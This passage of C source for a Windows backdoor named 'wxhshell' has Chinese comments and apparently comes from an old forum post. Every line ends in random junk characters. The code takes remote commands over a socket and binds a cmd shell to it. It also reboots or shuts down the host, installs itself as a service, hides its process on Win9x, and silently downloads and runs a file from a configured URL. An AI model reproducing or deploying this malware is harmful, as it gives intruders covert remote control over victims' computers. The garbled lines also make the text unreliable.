      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?s%v0cF  
    break; s'I)A^i+  
  } V-W'RunnW  
  // 安装 L^Wz vv]  
  case 'i': { &V=7D#L  
    if(Install()) 6 DF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rs;15@t@  
    else -e-e9uP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E0f{iO;}  
    break; xN->cA$A  
    } y2Bh?>pg  
  // 卸载 :KE/!]z  
  case 'r': { +a)E|(cN  
    if(Uninstall()) )$M,Ul  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F3E[wdT  
    else AHh#Fx+K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a' FN 3  
    break; ~hX-u8Ul'N  
    } _2Zp1h,  
  // 显示 wxhshell 所在路径 |H)cuZ  
  case 'p': { c$M%G)P  
    char svExeFile[MAX_PATH]; /Bv#) -5  
    strcpy(svExeFile,"\n\r"); A*]$v  
      strcat(svExeFile,ExeFile); x1[?5n6  
        send(wsh,svExeFile,strlen(svExeFile),0); S'i;xL>  
    break; v|t{1[C  
    } eD#XDK  
  // 重启 $ @1u+w  
  case 'b': { htJuGfDx1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); je%M AgW`  
    if(Boot(REBOOT)) 0{rx.C7|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t8J/\f=  
    else { p]|LV)R n  
    closesocket(wsh); #a~"K|' G  
    ExitThread(0); kA?_%fi1  
    } ~ 9M!)\~  
    break; e- 6w8*!i  
    } ]r"Yqv3  
  // 关机 P'[<A Z  
  case 'd': { ?[1SiJT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); __N.#c/l{  
    if(Boot(SHUTDOWN)) q?  z>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EQ >t[ &  
    else { $Xf(^K  
    closesocket(wsh); @z,*K_AKr  
    ExitThread(0); ! q6hC  
    } Yv\!vW7I  
    break; 9C}qVoNu  
    } v<h;Di@  
  // 获取shell 3VO:+mT  
  case 's': { NB)t7/Us  
    CmdShell(wsh); 3:`XG2'  
    closesocket(wsh); YMB~[]$V<  
    ExitThread(0); mb1IQ &  
    break; 9YKDguG  
  } ;sQbn|=e"  
  // 退出 ([pSVOnIz  
  case 'x': { R } %8s*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bx;f`8SN  
    CloseIt(wsh); *o4%ul\3Y|  
    break; A~71i&  
    } ZgYZwc&-  
  // 离开 'D6 bmz  
  case 'q': { qo;)X0 N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SGf9U^ds  
    closesocket(wsh); Q<=Y  
    WSACleanup(); O% $O(l  
    exit(1); :JV\){P  
    break; .h8M  
        } \qq-smcM-  
  } z,Xk\@  
  } 5 si}i'in  
2VYvO=KA  
  // 提示信息 UKs$W`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g [L  
} htHv&  
  } azGn P3_  
@PXXt#  
  return; y^s1t2]%  
} n2'|.y}Um:  
P;GprJ`l  
// shell模块句柄 qx%jAs+~  
int CmdShell(SOCKET sock) >]/dOH,A  
{ 'lQYJ0  
STARTUPINFO si; ~ x`7)3  
ZeroMemory(&si,sizeof(si)); otq,R6 ^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l9Pu&M?5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $9H[3OZPVv  
PROCESS_INFORMATION ProcessInfo; jT^!J+?6K+  
char cmdline[]="cmd"; 0xP:9rm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {hd-w4"115  
  return 0; OmNn,PCl8  
} # "r kuDO  
`ue?Z%p|  
// 自身启动模式 }tR'Hz2  
int StartFromService(void) qJ Gm8^b-  
{ =] KIkS3  
typedef struct e^frVEV  
{ [=~!w_  
  DWORD ExitStatus; iS-K ~qa  
  DWORD PebBaseAddress; /0\QL+^!  
  DWORD AffinityMask; HD00J]y_   
  DWORD BasePriority; 4*8&[b  
  ULONG UniqueProcessId; dq1TRFu  
  ULONG InheritedFromUniqueProcessId; EXHR(t}e  
}   PROCESS_BASIC_INFORMATION; C'<'7g4  
_3&/(B%H  
PROCNTQSIP NtQueryInformationProcess; :uvc\|:s  
<Kp+&(l,l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J|?[.h7tO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j],& z^O$  
P#bm uCOS  
  HANDLE             hProcess; ]Zv ,  
  PROCESS_BASIC_INFORMATION pbi; =ZMF]|  
)52#:27F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )@$ &FFIu  
  if(NULL == hInst ) return 0; $i%HDt|  
m3"c (L`B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dqz1xQ1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Sj1r s#@1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S w "|iBZ@  
D;C5,rN t  
  if (!NtQueryInformationProcess) return 0; $Sw,hb  
T#N80BH[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kA,4$ 2_o  
  if(!hProcess) return 0; JP%RTGu  
jrcc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Rk{$S"8S_  
T>5wQYh$'  
  CloseHandle(hProcess); lb95!.av+I  
)<Ob  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P2QRvn6v  
if(hProcess==NULL) return 0; ir+8:./6  
"i(U  
HMODULE hMod; _Q^y_f  
char procName[255]; W U0UG$o`  
unsigned long cbNeeded; 0#]!#1utg  
0STk)> 3$-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SZE`J:w  
4K'|DO|dH  
  CloseHandle(hProcess); ZmP1C`>  
ku-cn2M/  
if(strstr(procName,"services")) return 1; // 以服务启动 {[lx!QF 8&  
V^WQ6G1  
  return 0; // 注册表启动 R05T5Q1]A  
} 6Ok,_ !  
CQ jV!d0j  
// 主模块 30BR 0C  
int StartWxhshell(LPSTR lpCmdLine) <L%HG  
{ l`qP~ k#  
  SOCKET wsl; s)Gb!-``  
BOOL val=TRUE; 'N|2vbi<  
  int port=0; rNxG0^k(  
  struct sockaddr_in door; d(\1 } l  
3U>S]#5}  
  if(wscfg.ws_autoins) Install(); wH!}qz /  
Iw*C*%}[Z  
port=atoi(lpCmdLine); 'l8eH$  
n }TTq6B  
if(port<=0) port=wscfg.ws_port; eoC<a"bJ>  
qb9}&'@:  
  WSADATA data; U#iT<#!l2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VrudR#q  
pj j}K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O/nqNQ?<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |<'10  
  door.sin_family = AF_INET; C~:b*X   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7Z VVR*n|  
  door.sin_port = htons(port); [(!Q-8  
Zr5'TZ`$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @_(nd57oSs  
closesocket(wsl); EI<"DB   
return 1; R:BBF9sK?  
} KZi+j#7O  
H]U "+52h  
  if(listen(wsl,2) == INVALID_SOCKET) { $=7H1 w  
closesocket(wsl); j#CuR7m  
return 1; s^obJl3  
} V02309Y  
  Wxhshell(wsl); & 8zk3  
  WSACleanup(); q~mcjbLz  
^sJ1 ^LT  
return 0; 2k%Bl+I  
+7`u9j.  
} l;XUh9RF`A  
FU^Y{sbDg  
// 以NT服务方式启动 /Ql6]8.P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VN?<[#ij  
{ sek6+#|=  
DWORD   status = 0; h!ZZ2[  
  DWORD   specificError = 0xfffffff; ER/\ +Z#Z  
B>1M$3`E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0H; "5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R,uJK)m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Wnb)*pPP  
  serviceStatus.dwWin32ExitCode     = 0; < JGYr 4V  
  serviceStatus.dwServiceSpecificExitCode = 0; pVdhj^n  
  serviceStatus.dwCheckPoint       = 0; kWI]fZ_n  
  serviceStatus.dwWaitHint       = 0; Qh/lT$g  
TeOFAIU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >>/nuWdpO  
  if (hServiceStatusHandle==0) return; "sC$%D<oc  
\? J=mE@;1  
status = GetLastError(); _CHKh*KHML  
  if (status!=NO_ERROR) t!NrB X  
{ FLw[Mg:L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k&n\ =tKN  
    serviceStatus.dwCheckPoint       = 0; 4U_rB9K$  
    serviceStatus.dwWaitHint       = 0; o-~-F+mj#  
    serviceStatus.dwWin32ExitCode     = status; gGF$M `  
    serviceStatus.dwServiceSpecificExitCode = specificError;  GE{8I<7c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); % E<FB;h  
    return; 3L%Y"4(mm  
  } D "JMSL4r  
;]|m((15G  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; BASO$?jf4  
  serviceStatus.dwCheckPoint       = 0; N)`tI0/W  
  serviceStatus.dwWaitHint       = 0; x*3@,GmZl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y[TaM9<  
} lv*Wnn@k  
4KN0i  
// 处理NT服务事件,比如:启动、停止 A;K{&x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ':5U&  
{ tW'qO:y+  
switch(fdwControl) IO?~b XP  
{ ,"4X&>_f  
case SERVICE_CONTROL_STOP: bfcD5:q  
  serviceStatus.dwWin32ExitCode = 0; PGC07U:B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; F[Qsv54  
  serviceStatus.dwCheckPoint   = 0; C6Um6 X9/i  
  serviceStatus.dwWaitHint     = 0; ZS07_6.~  
  { Rt*-#`I $  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eW<!^Aer  
  } E;ndw/GZjR  
  return; (\5<GCW-  
case SERVICE_CONTROL_PAUSE: J$o[$G_Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1',+&2)oj  
  break; k i~Raa/e  
case SERVICE_CONTROL_CONTINUE: ":5~L9&G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; VKl~oFKXJ  
  break; H J2O@e  
case SERVICE_CONTROL_INTERROGATE: h5h-}qBA  
  break; M)bC%(xJ  
}; cx,u2~43A&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,i1fv "  
} 9 ayH:;  
O% j,:t'"  
// 标准应用程序主函数 So3,Z'z=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D| 3AjzW  
{ Iwd"f  
x`&P}4v0  
// 获取操作系统版本 hfVzzVX:  
OsIsNt=GetOsVer(); bYRQI=gW':  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FuRn%)DA5  
67EDkknt  
  // 从命令行安装 @pyA;>U  
  if(strpbrk(lpCmdLine,"iI")) Install(); 74</6T]^  
^;v.ytO*  
  // 下载执行文件 *GY,h$Ul  
if(wscfg.ws_downexe) { 5cv, >{~5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ePFC$kMn  
  WinExec(wscfg.ws_filenam,SW_HIDE); qCv}+d)  
} |wl")|b%  
|2+c DR  
if(!OsIsNt) { i1kh@s~8UC  
// 如果时win9x,隐藏进程并且设置为注册表启动 (5CX*)R  
HideProc(); J{v6DYhi  
StartWxhshell(lpCmdLine); m"k i*9]  
} 2g`uC}  
else  @=^jpSnZ  
  if(StartFromService()) vCrWA-q#  
  // 以服务方式启动 vM$#m1L?  
  StartServiceCtrlDispatcher(DispatchTable); Xqq?S  
else 2n\i0?RD  
  // 普通方式启动 J@&$U7t  
  StartWxhshell(lpCmdLine); ?j ;,q  
OmQuAG ^\x  
return 0; oD|+X/F K  
}
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只看该作者 1 发表于: 2006-10-10
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